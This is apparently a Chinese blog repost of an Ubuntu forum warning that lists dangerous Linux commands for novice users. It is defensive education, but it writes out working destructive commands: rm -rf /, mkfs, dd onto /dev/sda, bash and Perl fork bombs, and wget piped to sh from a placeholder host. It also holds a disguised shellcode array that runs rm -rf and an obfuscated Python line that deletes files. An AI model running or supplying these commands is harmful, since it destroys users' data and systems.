ubuntu公告:警惕“危险命令”

ubuntu官方论坛的公告板块发布了一份尽可能详尽的“危险命令”清单,提醒广大用户不要随意使用清单中的危险命令。顺便也补习一下我等小白的linux命令知识。但是如果哪位兄台愿意当一下小白鼠试验一下这些命令的危害性,那我真是感激不尽啊。 ubuntu_logo 删除所有文件,删除当前目录及删除当前目录下的可见文件。这些命令运行危险的原因很明显。 代码: rm -rf / rm -rf . rm -rf * 格式化:运行mkfs命令后磁盘上的数据将被摧毁并且替换为空白的文件系统。 代码: mkfs mkfs.ext3 mkfs.anything 块设备操作:将成行的数据写入块设备中。数次这样的操作将可能摧毁文件系统并且引起所有数据的丢失。 代码: any_command > /dev/sda dd if=something of=/dev/sda Forkbomb:运行大量的进程直到系统崩溃,强制你强行重启将可能导致出错,数据损坏或者其他糟糕的事情发生。 在Bourne-ish shells中,比如bash:(这东西看起来很有意思很吸引人去这么试一把) 代码: :(){:|:&};: 在Perl中 代码: fork while fork Tarbomb:有人会让你释放一个tar存档到一个已存在的目录中。这个tar存档可能爆出无数个文件或者把文件靠猜测的文件名注入到系统中。你应该养成释放tar到干净目录中的习惯。 shellscript:有人给你一个链接到一个shellscript运行。这可能包含他选择的任何命令——无害的或者恶意的。不要运行从你不认识的人那个发来的代码。(我经常这么干……--!中国人还是很善良的……) 代码: wget http://some_place/some_file sh ./some_file 代码: wget http://some_place/some_file -O- | sh 编译代码: 有人会给你源代码然后让你编译它。在一大堆源代码中很可能隐含恶意代码,并且源代码能给予攻击者更多的机会。不要编译或运行编译好了的代码除非那些源代码是知名的软件,或者从一个受好评的站点那里的来的(比如SourceForge, the author's homepage, an Ubuntu address)。 很经典的例子就是表面上伪装成邮件实际上是proof of concept 执行sudo 声称如果你运行它,你不需要shell就可以使用sudo获得root权限。 代码: char esp[] __attribute__ ((section(".text"))) /* e.s.p release */
= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68" "xffxffxffxffx68xdfxd0xdfxd9x68x8dx99" "xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7" "x56x04xf7x56x08xf7x56x0cx83xc4x74x56" "x8dx73x08x56x53x54x59xb0x0bxcdx80x31" "xc0x40xebxf9xe8xbdxffxffxffx2fx62x69" "x6ex2fx73x68x00x2dx63x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;"; 对于新用户及经验较浅的用户,这个看起来像“十六进制乱码”是个典型proof-of-concept.可是这个代码实际上确是运行的是rm -rf ~ / &,将会以一个常规用户或root破坏你home文件夹或所有文件。如果你能读懂这个十六进制形式的命令,那么你就不需要看这则公告了。否则,请记住当心那些很长的代码。 另外,再次强调这些不是所有的东西,你不应该把它当作一个检查一个命令是否安全的列表。 比如,在python中生成这样的东西: 代码: python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))' 这里"sn!.sg!+"就是rm -rf*另一种字符形式。当然这仅仅只是个愚蠢例子——我不会期望有人会蠢到毫无顾忌的把它贴到终端中运行。